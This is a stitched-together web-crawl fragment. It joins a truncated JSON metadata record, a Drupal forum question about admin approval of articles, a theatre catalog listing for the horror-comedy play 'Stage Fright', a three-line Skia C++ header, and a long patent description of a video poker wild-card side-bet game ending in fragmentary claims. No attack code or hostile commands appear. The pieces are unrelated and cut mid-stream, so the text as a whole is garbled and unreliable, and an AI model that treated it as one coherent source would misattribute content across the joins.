holding Z constant (or controlling for the effect of Z, or averaging out Z),","date":"2019-08-19 01:36:43","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 2, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.7573453187942505, \"perplexity\": 2712.6717621055623}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027314638.49\/warc\/CC-MAIN-20190819011034-20190819033034-00161.warc.gz\"}"} | null | null |
Q: Drupal article verification by admin and verified article to be read I am a newbie to drupal development and trying to create a magazine site using drupal. I have a functionality like their should be a separate POST menu where users post and that article should be going to Admin page. Once he verifies it, it should be visible in the READ menu. Please help me.
A: go to book using drupal it contains example of trigger and action like which you want for that u should use trigger and action module
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Stage Fright, Or... 'LAUGH?' I Thought I'd DIE!
by Todd McGinnis
Full Length Play, Dramatic Comedy / 16m, 6f, 1girl(s), 1m or f
For almost a century an evil has haunted the Orpheus Theatre, awaiting fulfillment of a chilling prophecy, and a blood-stained Ouija board and cryptic rhyme are the only keys to a terrifying truth. With lots of casting options, simple production requirements, and TWO possible endings (one scary, one funny), this show is destined to become a staple for theatre groups everywhere!
16m, 6f, 1girl(s), 1m or f
Best Original Script Runner Up Bloom Award Nominee
Pre-Teen (Age 11 - 13)
A tale told in four vignettes, the theatre-venue itself becomes a character itself in this alternately terrifying, hilarious and always intriguing journey across the decades that allows the audience to experience the history of a haunted playhouse… from the inside.
For almost a century an evil presence has haunted the Orpheus Theatre, awaiting the fulfillment of a chilling prophecy. A blood-stained Ouija board and a cryptic rhyme are the only keys that will unlock a terrifying truth. As generation after generation encounters the legend of the Orpheus and the dark power that lurks within it, piece after piece of the sinister puzzle falls into place and the dark prophecy draws nearer to fulfillment. Can anyone stop it?
Written with two endings—one scary, one comedic—giving producers and directors complete control over the kind of experience they want to give their audience.
Aging, Death, Memory, Media, Theatre/Entertainment Industry, Supernatural, Horror, haunted, ghosts, scary, funny
High School/Secondary
Senior Theatre
No Special Cautions
Time Period: 1960s, 1950s, 1940s / WWII, 1930s, Contemporary, New Millennium/21st Century, 1990s, 1980s
Duration: 105 Minutes
Inside and on the stage of a theater, The Orpheus, over the course of the 20th-early 21st century. Each scene takes place in a different era over the course of the 20th century. Scene 1: 1950s, Scene 2: 1930s, Scene 3: late 1980s / early 1990s, Scene 4: late 1990s / early 2000s. Can be performed with a very few set pieces only. Some scenes require none.
Features / Contains: Contemporary Costumes / Street Clothes, Period Costumes
Musical Style: N/A (Not a musical)
LOTTY V.O., Child Female - the ghost of a little girl heard as a Voice Over.
EVELYN V.O., Female - Heard first as Voice Over. We will meet her in Act 1 Scene 2
SANDRA, Female - 20s to 30s, a stage actress.
VOICE on phone, Male - an evil demonic voice heard as voice-over.
MONSTER, Male - 20s to 40s, a stage actor.
GERALD, Male - 30s to 40s, a theatrical director, wiity, affected, arrogant, irritable, condescending.
PHIL, Male - any age 20+, long suffering theatre technician whose voice is heard from off stage.
JIM, Male - late teens to 20s, stage hand
CORWIN HAYGOOD, Male - late 20s to early 30s, slick, rich-voiced radio announcer from the "Golden Age" of radio must have a similar height and build to the ACTOR in Act 2 Scene 1.
PRESTO, Male - 40s to 50s+, a stage and slight-of-hand magician, the "Amazing Kreskin" of his day.
ROGER, Male - 30+, A businessman enjoying a night "on the town".
TOM, Male - 20, A factory manager, somewhat skeptical.
EVELYN, Female - Over 30, A well-to-do, gregarious, bubbly woman, whose light airy humour masks a dark secret.
CIGARETTE GIRL - 20+, A sexy presenter and assistant on Corwin's radio broadcast.
CHARLOTTE V.O., (appearance optional) – the ghostly voice of a little girl. (she may appear as well if desired).
P.A., Male – 20+, a flamboyantly effeminate and amusingly bitchy film production assistant whose job is to coordinate the extras on a movie shoot.
IAN, Male – 30+, Production Accountant responsible for keeping production costs on target.
JIMMY, Male - 20+, A theatre technician who is on set to help out and observe.
SET DRESSER, Female - Any age, cranky, militant anti-smoker
ACTOR Male - 70+ but in great shape, may appear younger – this is CORWIN HAYGOOD as an old man, so height and general physique should be similar.
WRANGLER, Male or Female - Any age
TERRY, Male – 30+, Motion picture director, a nice guy under a lot of pressure.
SCRIPT GIRL, Female – 20+, sweet and sincere, able to cry convincingly
JENNA - Female - 30+, A mature, savvy real estate agent
THOMAS FOX – 60+, The grown son of JIM the stagehand from Act 1, Scene 1. A man on a mission he knows makes him appear crazed.
MARTIN, Male - 30+, Jenna's male friend
MERLIN BLACK aka "The Juggler", Male - a sleight of hand Magician
Multicultural casting
Roles for Children
Parts for Senior Actors
Minimum cast size requires only 5 Male and 2 Female with doubling/trebling. The child role of Charlotte is optional. She need not appear onstage, her lines can be handled by voice only whether live or recorded. Cast is expandable up to 24 individual speaking roles. Additional walk-ons, or extra roles (no lines) can be created by populating scenes 1, 2, and 3 with stage, radio or movie crew working in the background. Several of the male roles including (but not limited to) Ian, the production accountant and the P.A. in Act 2 Sc. 1, could be gender-flipped easily. While two of the scenes take place in the first half of the 20th Century in what would be sterotypically White-predominant scenarios, the Author encourages open-ethnicity casting wherever possible.
Todd McGinnis
Todd McGinnis is an award-winning professional playwright and actor. He was born in Toronto, Ontario, Canada sometime before Neil Armstrong walked on the moon and definitely after the end of World War II. He makes no claims or assertions that he had any significant part in the success of either vent ...
2001, Heritage Theatre, City of Brampton Theatre Production Office
Acting: The First Six Lessons (Bridges)
by Beau Bridges, Emily Bridges
Beau Bridges, Emily Bridges
Karlaboy
2 Across
by Jerry Mayer
Jerry Mayer
Waiting for Godot
Times Square Angel
by Charles Busch
Charles Busch
Theophilus North
by Thornton Wilder, Matthew Burnett
Thornton Wilder, Matthew Burnett
Reserve Two for Murder
by John Randall
John Randall
A Second Birth
by Ariel Mitchell
Ariel Mitchell
by Barbara L. Smith
Barbara L. Smith
Dix Tableaux
by Mark Dunn
Mark Dunn
The Cover of Life
by R.T. Robinson
R.T. Robinson
The Mystery of Miz Arnette
by Alan Bailey, Ronnie Claire Edwards
Alan Bailey, Ronnie Claire Edwards | {
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#include "SkString.h"
class SkRandom;
SkString MakeRandomParsePathPiece(SkRandom* rand);
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2013-10-29 Assigned to IGT reassignment IGT ASSIGNMENT OF ASSIGNORS INTEREST (SEE DOCUMENT FOR DETAILS). Assignors: PRECEDENT GAMING, INC.
A video poker game including a wild card feature is provided. For a play of the video poker game, a predetermined number of cards are randomly dealt from a players standard deck of 52 cards to form an initial player hand. If the player made a side bet, at least one up to the predetermined number of cards are simultaneously dealt from a separate deck to form a house hand. Any cards in the initial player hand that match any cards in the house hand are automatically changed into a wild card. The player chooses which cards to hold and which cards to discard from the initial player hand. Replacement cards for the discarded cards are dealt from the remainder of cards in the players deck to form a final player hand. The final player hand is evaluated according to a predetermined paytable and any awards are provided.
This application is a continuation of, and claims priority to and the benefit of, U.S. patent application Ser. No. 11/897,922, filed on Aug. 30, 2007, which claims priority to and the benefit of U.S. Provisional Patent Application No. 60/840,993, filed on Aug. 30, 2006, the entire contents of each of which are incorporated herein by reference.
A portion of the disclosure of this patent document contains or may contain material which is subject to copyright protection. The copyright owner has no objection to the photocopy reproduction by anyone of the patent document or the patent disclosure in exactly the form it appears in the Patent and Trademark Office patent file or records but otherwise reserves all copyright rights whatsoever.
Electronic casino games, whether video poker or slot games, have grown exponentially in numbers in the last twenty years, as have the revenues generated by such machine games. It has been estimated that more than 70% of any casino's revenue is now provided by machine games as opposed to table games.
Video poker in particular has become enormously popular with the casino player who prefers a game that requires decision-making. Although video poker is a randomly-dealt game of chance, there is an element of skill involved in the game play. After the player is dealt an initial hand, usually consisting of five cards, the player may select which cards to hold and which cards to discard. Replacement cards are provided for the discarded cards, and the final hand is evaluated for wins according to a predetermined paytable. By applying an optimal strategy in the hold/discard phase, the player can increase his chance of winning and/or decrease the average house hold.
Standard video poker games consist mainly of two types of games: non-wild and wild card games. Non-wild games are exemplified by the most basic game of Jacks or Better, and include many other variations such as Bonus Poker and Double Bonus Poker. The two most popular wild card games are Deuces Wild and Joker Poker. In these games, certain cards are wild (the 2s in Deuces Wild, the Joker(s) in Jokers Wild), i.e., the wild card may be considered to be any other card, so as to enable the player to more easily make a winning hand. Wild card games are often more exciting to play, but the pays for most winning combinations are usually lower than in the non-wild games.
There is a continuing need to provide new video poker games which blend the pays of standard non-wild video poker games with the excitement of wild card games to provide unique and exciting ways to play video poker. Accordingly, one advantage of the present invention is to provide players with new and enticing features that will stimulate player interest and increase time on the machine. In particular, the present invention seeks to provide the player with a dynamic game play that will heighten the player's expectations, boost confidence in the likelihood of a winning result, and provide non-wild pays for wild card play.
The present invention relates to electronic poker games suitable for use in casinos, on-line and in other gaming enterprises. The invention further relates to video gaming play that provides a random deal of a player's or first hand along with a random deal of a house or second hand in which cards in the player's hand that match cards in the house hand are considered wild.
In one embodiment, a monitor screen is provided on which card symbols may be provided for use in a video poker game. In the video poker game, the player makes a wager to play an underlying draw poker game consisting of at least a single hand of poker. An additional bet or "side bet" may be required to utilize a wild card play option, the side bet being made before any cards are dealt. A predetermined number of initial cards are randomly dealt from a standard deck or decks of 52 cards (or up to 54 cards including jokers) to form the initial player's hand.
In one embodiment, if the player has made a side bet wager, at least one up to the predetermined number of player's hand cards are simultaneously (or nearly simultaneously) dealt from a separate set (less or more than a complete multiple of a deck), deck or decks to a house hand. In one such embodiment, the player's hand is prominently displayed (e.g., in a central orientation) on the monitor screen and the house hand is conveniently displayed (e.g., above or below), with the first card of the house hand in an easily compared orientation (e.g., directly below) with respect to the first card of the player's hand, the second card of the house hand directly below the second card of the player's hand, and so on.
In one embodiment, any cards in the player's hand that match any cards in the house hand (e.g., either in the exact adjacent location, such as the second cards in both hands, or anywhere in the two hands) by rank, suit and/or position are automatically changed to be wild cards, i.e., cards that can be considered to be any card in order to help achieve an optimum winning combination. A software program will automatically determine what specific card (or general card, such as a fifth ranked card added to four-of-a-kind) will best benefit the rank of the hand. The wild card may remain fixed throughout the remainder of the game or may change as replacement cards are drawn and the wild card might preferably be a different card then originally selected.
In one embodiment, the player chooses which cards to hold and which cards to discard from the player's hand. Replacement cards for the discarded cards are dealt from the remainder of cards in the player's hand deck. The outcome for this final hand is evaluated according to a predetermined paytable. In one such embodiment, the predetermined paytable offers the traditional pays of a standard video poker game, and wherein the wild card option feature does not significantly lower the paytable but rather is compensated for by the side bet, varying certain payouts such as the full house or flush, and/or providing additional specific pays such as a wild royal, 5-of-a-kind and 5 wilds. Any winning payout amounts are then provided to the player.
Those trained in the art will appreciate that these play options are exemplary and are not intended to dictate an exclusive method of play, nor limit or restrict specific game play. This invention may be played in the aforementioned single-hand game format as well as in a multi-hand format with multiple player hands against a single dealer hand. The wild card play methods may be utilized with any standard non-wild video poker game versions, as well as with standard wild video poker game versions.
FIGS. 3, 4, 5 and 6 are front elevational views of one embodiment of the gaming device disclosed herein illustrating different stages of an example poker game disclosed herein.
FIGS. 7, 8, 9 and 10 are front elevational views of one embodiment of the gaming device disclosed herein illustrating different stages of another example poker game disclosed herein.
In one embodiment, as illustrated in FIG. 2A, the gaming device includes one or more display devices controlled by the processor. The display devices are preferably connected to or mounted to the cabinet of the gaming device. The embodiment shown in FIG. 1A includes a central display device 16 which displays a primary game. This display device may also display any suitable secondary game associated with the primary game as well as information relating to the primary or secondary game. The alternative embodiment shown in FIG. 1B includes a central display device 16 and an upper display device 18. The upper display device may display the primary game, any suitable secondary game associated or not associated with the primary game and/or information relating to the primary or secondary game. These display devices may also serve as digital glass operable to advertise games or other aspects of the gaming establishment. As seen in FIGS. 1A and 16, in one embodiment, the gaming device includes a credit display 20 which displays a player's current number of credits, cash, account balance or the equivalent. In one embodiment, the gaming device includes a bet display 22 which displays a player's amount wagered. In one embodiment, as described in more detail below, the gaming device includes a player tracking display 40 which displays information regarding a player's playing tracking status.
Gaming device 10 can incorporate any suitable wagering primary or base game if the poker game described herein is implemented as a bonus or secondary game. The gaming machine or device may include some or all of the features of conventional gaming machines or devices. The primary or base game may comprise any suitable reel-type game, card game, cascading or falling symbol game, number game or other game of chance susceptible to representation in an electronic or electromechanical form, which in one embodiment produces a random outcome based on probability data at the time of or after placement of a wager. That is, different primary wagering games, such as video poker games, video blackjack games, video keno, video bingo or any other suitable primary or base game may be implemented.
In one embodiment, as illustrated in FIGS. 1A and 1B, if the poker game described herein is implemented as a bonus or secondary game, a base or primary game may be a slot game with one or more paylines 52. The paylines may be horizontal, vertical, circular, diagonal, angled or any combination thereof. In this embodiment, the gaming device includes at least one and preferably a plurality of reels 54, such as three to five reels 54, in either electromechanical form with mechanical rotating reels or video form with simulated reels and movement thereof. In one embodiment, an electromechanical slot machine includes a plurality of adjacent, rotatable reels which may be combined and operably coupled with an electronic display of any suitable type. In another embodiment, if the reels 54 are in video form, one or more of the display devices, as described above, display the plurality of simulated video reels 54. Each reel 54 displays a plurality of indicia or symbols, such as bells, hearts, fruits, numbers, letters, bars or other images which preferably correspond to a theme associated with the gaming device. In another embodiment, one or more of the reels are independent reels or unisymbol reels. In this embodiment, each independent or unisymbol reel generates and displays one symbol to the player. In one embodiment, the gaming device awards prizes after the reels of the primary game stop spinning if specified types and/or configurations of indicia or symbols occur on an active payline or otherwise occur in a winning pattern, occur on the requisite number of adjacent reels and/or occur in a scatter pay arrangement.
In one embodiment, if the poker game described herein is implemented as a bonus or secondary game, a base or primary game may be another poker game wherein the gaming device enables the player to play a conventional game of video draw poker and initially deals five cards all face up from a virtual deck of fifty-two card deck. Cards may be dealt as in a traditional game of cards or in the case of the gaming device, may also include that the cards are randomly selected from a predetermined number of cards. If the player wishes to draw, the player selects the cards to hold via one or more input device, such as pressing related hold buttons or via the touch-screen. The player then presses the deal button and the unwanted or discarded cards are removed from the display and the gaming machine deals the replacement cards from the remaining cards in the deck. This results in a final five-card hand. The gaming device compares the final five-card hand to a payout table which utilizes conventional poker hand rankings to determine the winning hands. The gaming device provides the player with an award based on a winning hand and the credits the player wagered.
In another embodiment, if the poker game described herein is implemented as a bonus or secondary game, the base or primary game may be a multi-hand version of video poker. In this embodiment, the gaming device deals the player at least two hands of cards. In one such embodiment, the cards are the same cards. In one embodiment each hand of cards is associated with its own deck of cards. The player chooses the cards to hold in a primary hand. The held cards in the primary hand are also held in the other hands of cards. The remaining non-held cards are removed from each hand displayed and for each hand replacement cards are randomly dealt into that hand. Since the replacement cards are randomly dealt independently for each hand, the replacement cards for each hand will usually be different. The poker hand rankings are then determined hand by hand and awards are provided to the player.
In one embodiment, if the poker game described herein is implemented as a bonus or secondary game, a base or primary game may be a keno game wherein the gaming device displays a plurality of selectable indicia or numbers on at least one of the display devices. In this embodiment, the player selects at least one or a plurality of the selectable indicia or numbers via an input device such as the touch-screen. The gaming device then displays a series of drawn numbers to determine an amount of matches, if any, between the player's selected numbers and the gaming device's drawn numbers. The player is provided an award based on the amount of matches, if any, based on the amount of determined matches and the number of numbers drawn.
In one embodiment, if the poker game described herein is implemented as a base or primary game, in addition to winning credits or other awards in a base or primary game, the gaming device may also give players the opportunity to win credits in a bonus or secondary game or bonus or secondary round. The bonus or secondary game enables the player to obtain a prize or payout in addition to the prize or payout, if any, obtained from the base or primary game. In general, a bonus or secondary game produces a significantly higher level of player excitement than the base or primary game because it provides a greater expectation of winning than the base or primary game and is accompanied with more attractive or unusual features than the base or primary game. In one embodiment, the bonus or secondary game may be any type of suitable game, either similar to or completely different from the base or primary game.
In one embodiment, the triggering event or qualifying condition may be a selected outcome in the primary game or a particular arrangement of one or more indicia on a display device in the primary game. In other embodiments, the triggering event or qualifying condition may be by exceeding a certain amount of game play (such as number of games, number of credits, amount of time), or reaching a specified number of points earned during game play.
In one embodiment, a processor driven system with a monitor screen is provided. Card symbols may be provided for view on the monitor screen for use in a video poker game. In the video poker game, the player makes a wager to play an underlying draw poker game consisting of at least a single hand of poker. In one embodiment, an additional bet or "side bet" may be required to utilize a wild card play option, the side bet being made before any cards are dealt. In different embodiments, the amount of the additional bet or side bet required to utilize the wild card play option is predetermined, randomly determined, determined based on the player's status (such as determined through a player tracking system), determined based on a generated symbol or symbol combination, determined based on a random determination by the central controller, determined based on a random determination at the gaming machine, determined based on a weighted parameter, determined based on one or more side wagers placed, determined based on the player's primary game wager, determined based on time (such as the time of day), determined based on an amount of coin-in accumulated in one or more pools or determined based on any other suitable method or criteria.
In one embodiment, a predetermined number of initial cards are randomly dealt from a standard deck or decks of 52 cards (or up to 54 cards including jokers) to form the initial player's hand or first hand. If the player has made a side bet wager, at least one up to the predetermined number of player's hand cards are simultaneously (or nearly simultaneously) dealt from a separate deck or decks to for a house or dealer's hand or second hand. In one such embodiment, the player's hand is displayed in a central orientation on the monitor screen and the house hand is displayed below, with the first card of the house hand directly below the first card of the player's hand, the second card of the house hand directly below the second card of the player's hand, and so on. It should be appreciated that the player's hand and the house hand may be displayed in any suitable configuration.
In one embodiment, any cards in the player's hand that match any cards in the house hand by rank, suit and/or position are automatically changed to be wild cards. In this embodiment, a wild card is a card that can be considered to be any card in order to help achieve an optimum winning combination. In different embodiments, the determination of if any card in the player's hand must match the rank and/or suit and/or position of any card in the house hand is predetermined, randomly determined, determined based on the player's status (such as determined through a player tracking system), determined based on a generated symbol or symbol combination, determined based on a random determination by the central controller, determined based on a random determination at the gaming machine, determined based on a weighted parameter, determined based on one or more side wagers placed, determined based on the players primary game wager, determined based on time (such as the time of day), determined based on an amount of coin-in accumulated in one or more pools or determined based on any other suitable method or criteria.
In one embodiment, the player chooses which cards to hold and which cards to discard from the player's hand. Replacement cards for the discarded cards are dealt from the remainder of cards in the player's hand deck. The outcome for this final hand is evaluated according to a predetermined paytable.
In one embodiment, cards in the initial player's hand deal that have become wild may or may not appear in the replacement card set. In different embodiments, the determination of if playing cards in the initial player's hand that have become wild appear in the replacement card set is predetermined, randomly determined, determined based on the player's status (such as determined through a player tracking system), determined based on a generated symbol or symbol combination, determined based on a random determination by the central controller, determined based on a random determination at the gaming machine, determined based on a weighted parameter, determined based on one or more side wagers placed, determined based on the player's primary game wager, determined based on time (such as the time of day), determined based on an amount of coin-in accumulated in one or more pools or determined based on any other suitable method or criteria.
In one embodiment, the predetermined paytable offers the traditional pays of a standard video poker game, and wherein the wild card option feature does not significantly lower the paytable but rather is compensated for by the side bet, varying certain payouts such as the full house or flush, and/or providing additional specific pays such as a wild royal, 5-of-a-kind and 5 wilds. Any winning hands are then provided with payouts distributed to the player. A software program will automatically determine what specific card (or general card, such as a fifth ranked card added to four-of-a-kind) will best benefit the rank of the hand. The wild card may remain fixed throughout the remainder of the game or may change as replacement cards are drawn and the wild card might preferably be a different card then originally selected. In different embodiments, the determination of whether a wild card remains fixed or changes as replacement cards are drawn is predetermined, randomly determined, determined based on the player's status (such as determined through a player tracking system), determined based on a generated symbol or symbol combination, determined based on a random determination by the central controller, determined based on a random determination at the gaming machine, determined based on a weighted parameter, determined based on one or more side wagers placed, determined based on the player's primary game wager, determined based on time (such as the time of day), determined based on an amount of coin-in accumulated in one or more pools or determined based on any other suitable method or criteria.
In one embodiment of the gaming system disclosed herein requires a maximum wager on the base game, for example, 5 credits to play a single hand of 5-card draw poker. The side bet would require a wager of at least one credit for a 5-card house hand. After the wagering is completed, the gaming device initiates the deal, wherein a 5-card hand is randomly dealt from a 52-card deck to the player's hand, and a 5-card hand is randomly dealt from a separate 52-card deck to the house hand. On the monitor screen, the first card in the player's hand is positioned directly over the first card of the house hand, and likewise for the rest of the cards. If any card in the player's hand matches the rank AND suit AND position of any card in the house hand, that player card is immediately changed into a wild card. By adjusting the odds and payout amounts, a more general appearance of wild cards may be provided, as by not requiring that cards match in the exact adjacent location, such as the second cards in both hands, but rather may appear in any position in the two hands.
In one embodiment, the graphics of rank and suit on said card(s) may be reduced in color intensity, so as to provide a muted but still visible appearance, while a more prominent "WILD" indicia is placed thereon. The player may choose to hold none, one, some or all of the player's hand cards, and the rest of the player cards are discarded. The discarded cards are randomly replaced with replacement cards from the remainder of the player's deck, and a final hand is shown. The final hand is evaluated according to a predetermined paytable and any wins are provided to the player. Because the frequency of the specific match wild card event is low (1/52), the paytable may remain the same or be changed. The amount of the side bet must appear worthwhile with respect to the amount to be won with a wild card hand.
In another embodiment of the gaming system disclosed herein requires a maximum wager on the base game, for example, 5 credits to play a single hand of 5-card draw poker. The side bet would require a wager of at least one credit per card in the house hand. Alternately, the per card wager on the house hand may be in escalating fashion, for example one credit for one card, three credits for two cards, six credits for three cards, ten credits for four cards, or fifteen credits for five cards. In different embodiments, the per card wager on the house hand is predetermined, randomly determined, determined based on the player's status (such as determined through a player tracking system), determined based on a generated symbol or symbol combination, determined based on a random determination by the central controller, determined based on a random determination at the gaming machine, determined based on a weighted parameter, determined based on one or more side wagers placed, determined based on the player's primary game wager, determined based on time (such as the time of day), determined based on an amount of coin-in accumulated in one or more pools or determined based on any other suitable method or criteria.
After the wagering is completed, the gaming device initiates the deal, wherein a 5-card hand is randomly dealt from a conventional 52-card deck to the player's hand, and at least one card and up to five cards are randomly dealt from a separate conventional 52-card deck to the house hand. On the monitor screen, the first card in the player's hand is positioned directly over the first card of the house hand, and likewise for the rest of the cards if there is more than one card in the house hand. If any card in the player's hand matches the rank AND suit (but not necessarily the position) of any card in the house hand, that player card is immediately changed into a wild card. The graphics of rank and suit on said card(s) may be reduced in color intensity, so as to provide a muted but still visible appearance, while a more prominent "WILD" indicia is placed thereon. The player may then choose to hold none, one, some or all of the player's hand cards, and the rest of the player cards are discarded. The discarded cards are randomly replaced with replacement cards from the remainder of the player's deck, and a final hand is shown. The final hand is evaluated according to a predetermined paytable and any wins are provided to the player.
It is also an optional format for all five of the dealer's hand cards to be dealt in a line adjacent a single players card (forming a perpendicular line of five cards with respect to the player's hand, with each of the five cards compared to a single player card or for a greater initial wager, compared against all five player cards).
In another embodiment of the gaming system disclosed herein requires a maximum wager on the base game, for example, 5 credits to play a single hand of 5-card draw poker. The side bet would require a wager of at least one credit per card in the house hand. After the wagering is completed, the gaming device initiates the deal, wherein a 5-card hand is randomly dealt from a 52-card deck to the player's hand, and at least one card and up to five cards are randomly dealt from a separate 52-card deck to the house hand. On the monitor screen, the first card in the player's hand is positioned directly over the first card of the house hand, and likewise for the rest of the cards if there is more than one wagered card in the house hand. If any card in the player's hand matches the rank. AND position (but not necessarily the suit) of any card in the house hand, that player card is immediately changed into a wild card. The graphics of rank and suit on said card(s) may be reduced in color intensity, so as to provide a muted but still visible appearance, while a more prominent "WILD" indicia is placed thereon. The player may choose to hold none, one, some or all of the player's hand cards, and the rest of the player cards are discarded. The discarded cards are randomly replaced with replacement cards from the remainder of the player's deck, and a final hand is shown. The final hand is evaluated according to a predetermined paytable and any wins are provided to the player.
An additional element may be applied to any the foregoing embodiments: any replacement cards that match any of the house cards may themselves be considered to be wild cards. This adds extra anticipation and excitement to the draw step, although it may require a larger side bet wager. In different embodiments, the determination of if any replacement cards that match any of the house cards may themselves be considered to be wild cards is predetermined, randomly determined, determined based on the player's status (such as determined through a player tracking system), determined based on a generated symbol or symbol combination, determined based on a random determination by the central controller, determined based on a random determination at the gaming machine, determined based on a weighted parameter, determined based on one or more side wagers placed, determined based on the players primary game wager, determined based on time (such as the time of day), determined based on an amount of coin-in accumulated in one or more pools or determined based on any other suitable method or criteria.
In another embodiment, a similar but separate game play incorporates all of the present invention's features as previously described, except that the WILD cards and WILD indicia are replaced by MULTIPLIER cards and MULTIPLIER indicia respectively. In other words, matching cards in the player's hand and house hand become random multipliers (from 2× pay to 10× pay, for instance) in the players hand. The multiplier cards may or may not keep their original rank and suit. In different embodiments, the amounts of each multiplier is predetermined, randomly determined, determined based on the player's status (such as determined through a player tracking system), determined based on a generated symbol or symbol combination, determined based on a random determination by the central controller, determined based on a random determination at the gaming machine, determined based on a weighted parameter, determined based on one or more side wagers placed, determined based on the player's primary game wager, determined based on time (such as the time of day), determined based on an amount of coin-in accumulated in one or more pools or determined based on any other suitable method or criteria.
It should be appreciated that the assignment of a wild symbol and/or multiplier disclosed herein may be implemented in accordance with any suitable primary game or any suitable secondary game which may include one or more wild symbols (or one or more multipliers). In different embodiments, the determination described herein of which symbol to function as a wild symbol or a multiplier symbol is incorporated into any suitable slot game, any suitable card game, any suitable keno game, any suitable bingo game, any suitable craps game, any suitable roulette game, any suitable baccarat game, any suitable wheel game, any suitable selection game, any suitable offer and acceptance game, any suitable cascading symbols game, any suitable ways to win game, any suitable scatter pay game or any other suitable type of game.
FIG. 3 shows a video poker machine monitor screen 16, 18 with five touch-screen HOLD/DISCARD buttons for card play selection (134, 136, 138, 140, 142). The player has wagered 5 credits to play a 5-card player's hand of Jacks or Better poker as shown on the touch-screen button 104. The player has also wagered 2 credits as a Side Bet to play the wild card bonus option as shown on the touch-screen button 106. The wild card bonus option rules require that any matches between the player's hand and the house hand must include rank, suit AND position. The Total Bet of 7 credits is shown in the box 108. A Credits Won box is shown 110, along with the player's Total Available Credits (73 credits after the 7 credit wager) 112. The result of the initial deal of the player's hand from a first deck of 52 cards is shown, with the Ace of Hearts 114 in the first card position, the King of Clubs 116 in the second card position, the 6 of Spades 118 in the third card position, the Ace of Clubs 120 in the fourth card position, and the 9 of Spades 122 in the fifth card position. The wild card bonus option provides a 5-card house hand from a separate second 52-card deck, the result of which shows the 8 of Clubs 124 in the first card position, the King of Clubs 126 in the second card position, the 10 of Diamonds 128 in the third card position, the 4 of Clubs 130 in the fourth card position, and the 2 of Clubs 132 in the fifth card position.
FIG. 4 refers to the game elements shown in FIG. 3 with the King of Clubs 126 in the house hand being highlighted 144 because it matches the rank, suit and position of the King of Clubs 116 in the player's hand. The graphics on the King of Clubs 116 in the player's hand are muted and a WILD indicia 146 is superimposed on the card.
FIG. 5 refers to the game elements shown in FIG. 4 with the player using the touch-screen buttons (134, 136, 140) to elect to HOLD those cards (150, 152, 154). Initial cards 118 and 122 have been discarded.
FIG. 6 refers to the game elements shown in FIG. 5 and shows the draw result, with replacement cards 160 (8 of Hearts) and 162 (Ace of Diamonds) being provided for the discarded cards. The final result of 4-of-a-Kind Aces is shown, and the win of 125 credits is displayed in the Credits Won box 110. The player's Total Credits 112 are now shown as 198 credits.
FIG. 7 illustrates a different embodiment, showing a video poker machine monitor screen 16, 18 with five touch-screen HOLD/DISCARD buttons for card play selection (134, 136, 138, 140, 142). The player has wagered 5 credits to play a 5-card player's hand of Jacks or Better poker as shown on the touch-screen button 104. The player has also wagered 10 credits as a Side Bet to play the wild card bonus option as shown on the touch-screen button 106. The wild card bonus option rules require that any matches between the player's hand and the house hand must include rank and suit only (not necessarily position). The Total Bet of 15 credits is shown in the box 108. A Credits Won box is shown 110, along with the player's Total Available Credits (65 credits after the 15 credit wager) 112. The result of the initial deal of the player's hand from a first deck of 52 cards is shown, with the 9 of Spades 170 in the first card position, the 5 of Hearts 172 in the second card position, the 4 of Clubs 174 in the third card position, the 2 of Spades 176 in the fourth card position, and the 7 of Diamonds 178 in the fifth card position. The wild card bonus option provides a 5-card house hand from a separate second 52-card deck, the result of which shows the 2 of Spades 180 in the first card position, the 5 of Hearts 182 in the second card position, the 8 of Clubs 184 in the third card position, the 10 of Hearts 186 in the fourth card position, and the Ace of Spades 188 in the fifth card position.
FIG. 8 refers to the game elements shown in FIG. 7 with the 2 of Spades 180 in the house hand being highlighted 190 because it matches the rank and suit of the 2 of Spades 176 in the player's hand. The 5 of Hearts 182 in the house hand is highlighted 192 because it matches the rank and suit of the 5 of Hearts 172 in the player's hand. The graphics on the those said cards in the player's hand are muted and a WILD indicia 194 and 196 is superimposed on both cards.
FIG. 9 refers to the game elements shown in FIG. 8 with the player using the touch-screen buttons (136 and 140) to elect to HOLD those cards (172 and 176). Initial cards 170, 174, 178 have been discarded.
FIG. 10 refers to the game elements shown in FIG. 9 and shows the draw result, with replacement cards 200 (10 of Diamonds), 202 (3 of Clubs) and 214 (8 of Spades) being provided for the discarded cards. The final result, of 3-of-a-Kind is shown, and the win of 15 credits is displayed in the Credits Won box 110. The player's Total Credits 112 are now shown as 80 credits.
(i) if an actuation of a cashout button is received, initiate a payout associated with the credit balance.
2. The gaming system of claim 1, wherein one of the displayed suit and value combinations matches the playing card suit and value combination of one of the displayed playing cards of the initial hand when: (a) the suit of said displayed suit and value combination and the suit of the playing card suit and value combination of said displayed playing card are the same, and (b) the value of said displayed suit and value combination and the value of the playing card suit and value combination of said displayed playing card are the same.
3. The gaming system of claim 1, wherein the plurality of instructions, when executed by the at least one processor, cause the at least one processor to operate with the at least one display device and the at least one input device to: (1) provide (d)(i) to (d)(iv) if an additional wager is received, and (2) not provide (d)(i) to (d)(iv) if the additional wager is not received.
(i) if an actuation of a cashout button is received, causing the at least one processor to execute the plurality of instructions to initiate a payout associated with the credit balance.
